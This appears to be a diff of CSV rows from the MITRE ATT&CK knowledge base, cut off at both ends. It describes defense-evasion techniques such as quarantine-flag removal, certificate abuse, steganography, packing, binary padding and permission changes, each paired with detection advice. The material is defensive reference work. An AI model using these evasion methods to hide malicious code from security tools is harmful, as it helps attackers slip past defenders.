Compromise](https://attack.mitre.org/techniques/T1189), which may bypass Gatekeeper. (Citation: Methods of Mac Malware Persistence)(Citation: Clearing quarantine attribute)(Citation: OceanLotus for OS X)",['defense-evasion'],https://attack.mitre.org/techniques/T1553/001,mitre-attack,T1553.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Metadata', 'File: File Modification', 'Process: Process Creation', 'Command: Command Execution']","['Application control', 'Anti-virus']","The removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Monitor software update frameworks that strip the com.apple.quarantine flag when performing updates. + +Review false values under the LSFileQuarantineEnabled entry in an application's Info.plist file (required by every application). false under LSFileQuarantineEnabled indicates that an application does not use the quarantine flag. Unsandboxed applications with an unspecified LSFileQuarantineEnabled entry will default to not setting the quarantine flag. + +QuarantineEvents is a SQLite database containing a list of all files assigned the com.apple.quarantine attribute, located at ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2. Each event contains the corresponding UUID, timestamp, application, Gatekeeper score, and decision if it was allowed.(Citation: TheEclecticLightCompany Quarantine and the flag)",True,"['User', 'Administrator']",['macOS'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1553', 'external_id': 'T1553'}, {'source_name': 'SpectorOps Subverting Trust Sept 2017', 'description': 'Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.', 'url': 'https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf'}, {'source_name': 'Securelist Digital Certificates', 'description': 'Ladikov, A. (2015, January 29). Why You Shouldn’t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.', 'url': 'https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/'}, {'source_name': 'Symantec Digital Certificates', 'description': 'Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.', 'url': 'http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates'}, {'source_name': 'SpectorOps Code Signing Dec 2017', 'description': 'Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.', 'url': 'https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec'}]",1.1,attack-pattern,attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-05T14:54:07.588Z,2021-10-14T21:18:32.225Z,Subvert Trust Controls,"Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site. -Adversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific mechanism they seek to subvert. Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017) Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates) ",attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7,attack-pattern,['defense-evasion'],2021-04-26T15:41:39.612Z,2020-02-05T14:54:07.588Z,"Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers. Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017) +Adversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific mechanism they seek to subvert. Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017) Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates) ",['defense-evasion'],https://attack.mitre.org/techniques/T1553,mitre-attack,T1553,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Creation', 'Command: Command Execution', 'File: File Metadata', 'File: File Modification', 'Module: Module Load']","['Application control', 'Anti-virus', 'Autoruns Analysis', 'Digital Certificate Validation', 'Process whitelisting', 'User Mode Signature Validation', 'Windows User Account Control']","Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers. Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017) Analyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure ""Hide Microsoft Entries"" and ""Hide Windows Entries"" are both deselected.(Citation: SpectorOps Subverting Trust Sept 2017) -Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. ","['Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Creation', 'Command: Command Execution', 'File: File Metadata', 'File: File Modification', 'Module: Module Load']",,"['Application control', 'Anti-virus', 'Autoruns Analysis', 'Digital Certificate Validation', 'Process whitelisting', 'User Mode Signature Validation', 'Windows User Account Control']",,"['Windows', 'macOS', 'Linux']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1027.003', 'url': 'https://attack.mitre.org/techniques/T1027/003'}, {'external_id': 'CAPEC-636', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/636.html'}, {'url': 'https://en.wikipedia.org/wiki/Duqu', 'description': 'Wikipedia. (2017, December 29). Duqu. Retrieved April 10, 2018.', 'source_name': 'Wikipedia Duqu'}, {'url': 'https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/', 'description': 'Saavedra-Morales, J., Sherstobitoff, R. (2018, January 6). Malicious Document Targets Pyeongchang Olympics. Retrieved April 10, 2018.', 'source_name': 'McAfee Malicious Doc Targets Pyeongchang Olympics'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.1,True,https://attack.mitre.org/techniques/T1027/003,mitre-attack,T1027.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Steganography,"Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files. +Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. ",False,,"['Windows', 'macOS', 'Linux']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1027/003', 'external_id': 'T1027.003'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/636.html', 'external_id': 'CAPEC-636'}, {'source_name': 'Wikipedia Duqu', 'description': 'Wikipedia. (2017, December 29). Duqu. Retrieved April 10, 2018.', 'url': 'https://en.wikipedia.org/wiki/Duqu'}, {'source_name': 'McAfee Malicious Doc Targets Pyeongchang Olympics', 'description': 'Saavedra-Morales, J., Sherstobitoff, R. (2018, January 6). Malicious Document Targets Pyeongchang Olympics. Retrieved April 10, 2018.', 'url': 'https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/'}]",1.2,attack-pattern,attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-05T14:28:16.719Z,2021-10-15T16:46:56.760Z,Steganography,"Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files. [Duqu](https://attack.mitre.org/software/S0038) was an early example of malware that used steganography. It encrypted the gathered information from a victim's system and hid it within an image before exfiltrating the image to a C2 server.(Citation: Wikipedia Duqu) -By the end of 2017, a threat group used Invoke-PSImage to hide [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands in an image file (.png) and execute the code on a victim's system. In this particular case the [PowerShell](https://attack.mitre.org/techniques/T1059/001) code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.(Citation: McAfee Malicious Doc Targets Pyeongchang Olympics) ",attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916,attack-pattern,['defense-evasion'],2020-09-16T19:24:20.350Z,2020-02-05T14:28:16.719Z,Detection of steganography is difficult unless artifacts are left behind by the obfuscation process that are detectable with a known signature. Look for strings are other signatures left in system artifacts related to decoding steganography.,['File: File Content'],,,,"['Linux', 'macOS', 'Windows']",,CAPEC-636,https://capec.mitre.org/data/definitions/636.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1027.002', 'url': 'https://attack.mitre.org/techniques/T1027/002'}, {'external_id': 'CAPEC-570', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/570.html'}, {'source_name': 'ESET FinFisher Jan 2018', 'url': 'https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf', 'description': ""Kafka, F. (2018, January). ESET's Guide to Deobfuscating and Devirtualizing FinFisher. Retrieved August 12, 2019.""}, {'url': 'http://en.wikipedia.org/wiki/Executable_compression', 'description': 'Executable compression. (n.d.). Retrieved December 4, 2014.', 'source_name': 'Wikipedia Exe Compression'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1027/002,mitre-attack,T1027.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Software Packing,"Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018) +By the end of 2017, a threat group used Invoke-PSImage to hide [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands in an image file (.png) and execute the code on a victim's system. In this particular case the [PowerShell](https://attack.mitre.org/techniques/T1059/001) code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.(Citation: McAfee Malicious Doc Targets Pyeongchang Olympics) ",['defense-evasion'],https://attack.mitre.org/techniques/T1027/003,mitre-attack,T1027.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['File: File Metadata'],,Detection of steganography is difficult unless artifacts are left behind by the obfuscation process that are detectable with a known signature. Look for strings or other signatures left in system artifacts related to decoding steganography.,True,,"['Linux', 'macOS', 'Windows']",,CAPEC-636,https://capec.mitre.org/data/definitions/636.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1027/002', 'external_id': 'T1027.002'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/570.html', 'external_id': 'CAPEC-570'}, {'source_name': 'ESET FinFisher Jan 2018', 'description': ""Kafka, F. (2018, January). ESET's Guide to Deobfuscating and Devirtualizing FinFisher. Retrieved August 12, 2019."", 'url': 'https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf'}, {'source_name': 'Wikipedia Exe Compression', 'description': 'Executable compression. (n.d.). Retrieved December 4, 2014.', 'url': 'http://en.wikipedia.org/wiki/Executable_compression'}]",1.1,attack-pattern,attack-pattern--deb98323-e13f-4b0c-8d94-175379069062,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-05T14:17:46.686Z,2021-10-15T13:56:47.154Z,Software Packing,"Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018) -Utilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses. ",attack-pattern--deb98323-e13f-4b0c-8d94-175379069062,attack-pattern,['defense-evasion'],2020-02-05T20:05:41.548Z,2020-02-05T14:17:46.686Z,"Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.","['File: File Metadata', 'File: File Content']","['Filip Kafka, ESET']","['Anti-virus', 'Heuristic detection', 'Signature-based detection']",,"['macOS', 'Windows']",,CAPEC-570,https://capec.mitre.org/data/definitions/570.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1027.001', 'url': 'https://attack.mitre.org/techniques/T1027/001'}, {'external_id': 'CAPEC-572', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/572.html'}, {'external_id': 'CAPEC-655', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/655.html'}, {'source_name': 'ESET OceanLotus', 'description': 'Foltýn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.', 'url': 'https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/'}, {'source_name': 'Securelist Malware Tricks April 2017', 'url': 'https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/', 'description': 'Ishimaru, S.. (2017, April 13). Old Malware Tricks To Bypass Detection in the Age of Big Data. Retrieved May 30, 2019.'}, {'source_name': 'VirusTotal FAQ', 'url': 'https://www.virustotal.com/en/faq/', 'description': 'VirusTotal. (n.d.). VirusTotal FAQ. Retrieved May 23, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.1,True,https://attack.mitre.org/techniques/T1027/001,mitre-attack,T1027.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Binary Padding,"Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. +Utilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses. ",['defense-evasion'],https://attack.mitre.org/techniques/T1027/002,mitre-attack,T1027.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Filip Kafka, ESET']",['File: File Metadata'],"['Anti-virus', 'Heuristic detection', 'Signature-based detection']","Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.",True,,"['macOS', 'Windows']",,CAPEC-570,https://capec.mitre.org/data/definitions/570.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1027/001', 'external_id': 'T1027.001'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/572.html', 'external_id': 'CAPEC-572'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/655.html', 'external_id': 'CAPEC-655'}, {'source_name': 'ESET OceanLotus', 'description': 'Foltýn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.', 'url': 'https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/'}, {'source_name': 'Securelist Malware Tricks April 2017', 'description': 'Ishimaru, S.. (2017, April 13). Old Malware Tricks To Bypass Detection in the Age of Big Data. Retrieved May 30, 2019.', 'url': 'https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/'}, {'source_name': 'VirusTotal FAQ', 'description': 'VirusTotal. (n.d.). VirusTotal FAQ. Retrieved May 23, 2019.', 'url': 'https://www.virustotal.com/en/faq/'}]",1.2,attack-pattern,attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-05T14:04:25.865Z,2021-10-15T13:53:02.135Z,Binary Padding,"Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. -Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ) ",attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5,attack-pattern,['defense-evasion'],2020-09-17T18:25:33.828Z,2020-02-05T14:04:25.865Z,"Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. When executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file. ","['File: File Metadata', 'File: File Content']","['Martin Jirkal, ESET']","['Anti-virus', 'Signature-based detection']",,"['Linux', 'macOS', 'Windows']",,CAPEC-655,https://capec.mitre.org/data/definitions/655.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1222.002', 'url': 'https://attack.mitre.org/techniques/T1222/002'}, {'url': 'https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100', 'description': 'Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.', 'source_name': 'Hybrid Analysis Icacls1 June 2018'}, {'url': 'https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110', 'description': 'Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.', 'source_name': 'Hybrid Analysis Icacls2 May 2018'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1222/002,mitre-attack,T1222.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Linux and Mac File and Directory Permissions Modification,"Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.). +Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ) ",['defense-evasion'],https://attack.mitre.org/techniques/T1027/001,mitre-attack,T1027.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Martin Jirkal, ESET']",['File: File Metadata'],"['Anti-virus', 'Signature-based detection']","Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. When executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file. ",True,,"['Linux', 'macOS', 'Windows']",,CAPEC-655,https://capec.mitre.org/data/definitions/655.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1222/002', 'external_id': 'T1222.002'}, {'source_name': 'Hybrid Analysis Icacls1 June 2018', 'description': 'Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.', 'url': 'https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100'}, {'source_name': 'Hybrid Analysis Icacls2 May 2018', 'description': 'Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.', 'url': 'https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110'}, {'source_name': '20 macOS Common Tools and Techniques', 'description': 'Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.', 'url': 'https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/'}]",1.1,attack-pattern,attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-04T19:24:27.774Z,2021-09-13T21:08:09.985Z,Linux and Mac File and Directory Permissions Modification,"Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.). Most Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform’s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: chown (short for change owner), and chmod (short for change mode). -Adversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).",attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345,attack-pattern,['defense-evasion'],2020-03-29T23:12:40.041Z,2020-02-04T19:24:27.774Z,"Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. +Adversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS Common Tools and Techniques) ",['defense-evasion'],https://attack.mitre.org/techniques/T1222/002,mitre-attack,T1222.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'File: File Metadata']",,"Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Commonly abused command arguments include chmod +x, chmod -R 755, and chmod 777.(Citation: 20 macOS Common Tools and Techniques) -Consider enabling file/directory permission change auditing on folders containing key binary/configuration files.","['Process: Process Creation', 'Command: Command Execution', 'File: File Metadata']",,,"['User', 'root']","['macOS', 'Linux']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1222.001', 'url': 'https://attack.mitre.org/techniques/T1222/001'}, {'url': 'https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100', 'description': 'Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.', 'source_name': 'Hybrid Analysis Icacls1 June 2018'}, {'url': 'https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110', 'description': 'Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.', 'source_name': 'Hybrid Analysis Icacls2 May 2018'}, {'url': 'https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces', 'description': 'Microsoft. (2018, May 30). DACLs and ACEs. Retrieved August 19, 2018.', 'source_name': 'Microsoft DACL May 2018'}, {'source_name': 'Microsoft Access Control Lists May 2018', 'url': 'https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists', 'description': 'M. Satran, M. Jacobs. (2018, May 30). Access Control Lists. Retrieved February 4, 2020.'}, {'url': 'https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/', 'description': 'Netsurion. (2014, February 19). Monitoring File Permission Changes with the Windows Security Log. Retrieved August 19, 2018.', 'source_name': 'EventTracker File Permissions Feb 2014'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.1,True,https://attack.mitre.org/techniques/T1222/001,mitre-attack,T1222.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Windows File and Directory Permissions Modification,"Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.). +Consider enabling file/directory permission change auditing on folders containing key binary/configuration files.",True,"['User', 'root']","['macOS', 'Linux']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1222/001', 'external_id': 'T1222.001'}, {'source_name': 'Hybrid Analysis Icacls1 June 2018', 'description': 'Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.', 'url': 'https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100'}, {'source_name': 'Hybrid Analysis Icacls2 May 2018', 'description': 'Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.', 'url': 'https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110'}, {'source_name': 'Microsoft DACL May 2018', 'description': 'Microsoft. (2018, May 30). DACLs and ACEs. Retrieved August 19, 2018.', 'url': 'https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces'}, {'source_name': 'Microsoft Access Control Lists May 2018', 'description': 'M. Satran, M. Jacobs. (2018, May 30). Access Control Lists. Retrieved February 4, 2020.', 'url': 'https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists'}, {'source_name': 'EventTracker File Permissions Feb 2014', 'description': 'Netsurion. (2014, February 19). Monitoring File Permission Changes with the Windows Security Log. Retrieved August 19, 2018.', 'url': 'https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/'}]",1.1,attack-pattern,attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-04T19:17:41.767Z,2020-09-01T20:05:05.268Z,Windows File and Directory Permissions Modification,"Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.). Windows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an 